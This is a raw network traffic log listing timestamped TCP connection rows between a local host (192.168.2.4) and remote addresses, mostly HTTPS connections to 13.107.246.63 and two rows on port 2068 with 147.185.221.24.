Nov 23, 2024 21:12:57.208697081 CET	443	49931	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.208705902 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.208705902 CET	49929	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.208710909 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.208723068 CET	443	49929	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.209633112 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.209673882 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.209692001 CET	49932	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.209700108 CET	443	49932	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.210578918 CET	49930	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.210602045 CET	443	49930	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.212182045 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.212218046 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.212230921 CET	49933	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.212236881 CET	443	49933	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.224473000 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.224507093 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.224571943 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.226701021 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.226726055 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.226773024 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.227080107 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.227094889 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.227914095 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.227926970 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.231117010 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.231146097 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.231209993 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.231429100 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.231443882 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.232719898 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.232754946 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.232795954 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.232919931 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.232933998 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.233603001 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.233611107 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.233669043 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.233891964 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:57.233902931 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:57.328794003 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:57.462193012 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:58.957892895 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:58.958431959 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:58.958455086 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:58.959059000 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:58.959064007 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.034221888 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.034785986 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.034811020 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.035403013 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.035409927 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.121655941 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.122668982 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.122689962 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.123308897 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.123320103 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.153371096 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.153980017 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.154000998 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.154670954 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.154676914 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.355715036 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.356668949 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.356693983 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.357460976 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.357466936 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.418476105 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.421541929 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.421597004 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.421699047 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.421721935 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.421732903 CET	49935	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.421739101 CET	443	49935	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.426728010 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.426769018 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.426815987 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.427118063 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.427130938 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.488920927 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.492191076 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.492243052 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.492398977 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.492413998 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.492429018 CET	49936	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.492434978 CET	443	49936	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.496166945 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.496191978 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.496249914 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.496454000 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.496463060 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.570924997 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.577052116 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.577095985 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.580800056 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.580818892 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.580828905 CET	49937	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.580833912 CET	443	49937	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.586281061 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.586318016 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.586375952 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.586745024 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.586757898 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.614474058 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.620898008 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.620954990 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.620965004 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.621032000 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.621079922 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.747761011 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.747775078 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.747787952 CET	49938	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.747792959 CET	443	49938	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.772850037 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.772885084 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.772943020 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.775548935 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.775563002 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.848685026 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.851707935 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.851778984 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.851937056 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.851937056 CET	49934	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.851953983 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.851958036 CET	443	49934	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.856466055 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.856492996 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:59.856581926 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.856724977 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:59.856739044 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:00.962872982 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:00.963603973 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:00.963624954 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:00.964220047 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:00.964226007 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.486263990 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.489521980 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.489573002 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.489650011 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.489669085 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.489679098 CET	49939	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.489685059 CET	443	49939	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.492957115 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.493004084 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.493074894 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.493299007 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.493313074 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.497179031 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.497570992 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.497601032 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.498186111 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.498192072 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.678035975 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.679245949 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.679270983 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.679835081 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.679841042 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.697115898 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.697552919 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.697566986 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.698003054 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.698009014 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.715553045 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.715941906 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.715981007 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:01.716398954 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:01.716409922 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181080103 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181107998 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181164026 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.181205034 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181251049 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181471109 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.181471109 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.181494951 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.181520939 CET	49940	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.181528091 CET	443	49940	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.184201956 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.184247971 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.184438944 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.185391903 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.185403109 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.186706066 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.186798096 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.186913967 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.186981916 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.186981916 CET	49943	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.187000036 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.187010050 CET	443	49943	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.216666937 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.216717958 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.217228889 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.225436926 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.225452900 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.251820087 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.252145052 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.253768921 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.258234978 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.258537054 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.259382963 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.313766003 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.313790083 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.313818932 CET	49941	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.313824892 CET	443	49941	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.334594011 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.334594011 CET	49942	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.334626913 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.334635973 CET	443	49942	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.431901932 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.432005882 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.432205915 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.440820932 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.440860987 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.445419073 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.445480108 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:02.451517105 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.453083992 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:02.453116894 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.661304951 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.661998987 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:03.662024021 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.662446022 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:03.662451029 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.856091022 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.856594086 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:03.856632948 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:03.857189894 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:03.857197046 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.189241886 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.194854021 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.194942951 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.195111036 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.195142031 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.195142031 CET	49944	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.195158005 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.195167065 CET	443	49944	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.198040009 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.198072910 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.198431969 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.198548079 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.198556900 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.278980017 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.282018900 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.282056093 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.282520056 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.282536983 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.433543921 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.433608055 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.433805943 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.433924913 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.433969975 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.434011936 CET	49945	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.434030056 CET	443	49945	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.436611891 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.436681032 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.436898947 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.437041998 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.437066078 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.481112957 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.482264996 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.482279062 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.482800961 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.482806921 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.495053053 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.498151064 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.498163939 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.498718977 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.498723984 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.777230978 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.781932116 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.781989098 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.782088041 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.782201052 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.782252073 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.782283068 CET	49948	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.782300949 CET	443	49948	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.786349058 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.786392927 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:04.786606073 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.786672115 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:04.786676884 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.061969042 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.066690922 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.066796064 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.066797018 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.066912889 CET	49947	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.066932917 CET	443	49947	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.071001053 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.071038008 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.071100950 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.071300030 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.071320057 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.075097084 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.082962990 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.083023071 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.083106041 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.083126068 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.083138943 CET	49946	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.083144903 CET	443	49946	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.086327076 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.086374044 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:05.086447954 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.086659908 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:05.086673021 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.058852911 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.062635899 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.062635899 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.062652111 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.062665939 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.342269897 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.346649885 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.346649885 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.346678019 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.346698999 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.538417101 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.541539907 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.545588017 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.549369097 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.549369097 CET	49949	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.549396038 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.549408913 CET	443	49949	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.554105997 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.554145098 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.554364920 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.555713892 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.555728912 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.697768927 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.702419996 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.702440977 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.702553034 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.702558041 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.838943958 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.839010954 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.839083910 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.839258909 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.839258909 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:06.936640024 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:06.981400013 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.057558060 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.076491117 CET	49950	443	192.168.2.4	13.107.246.63
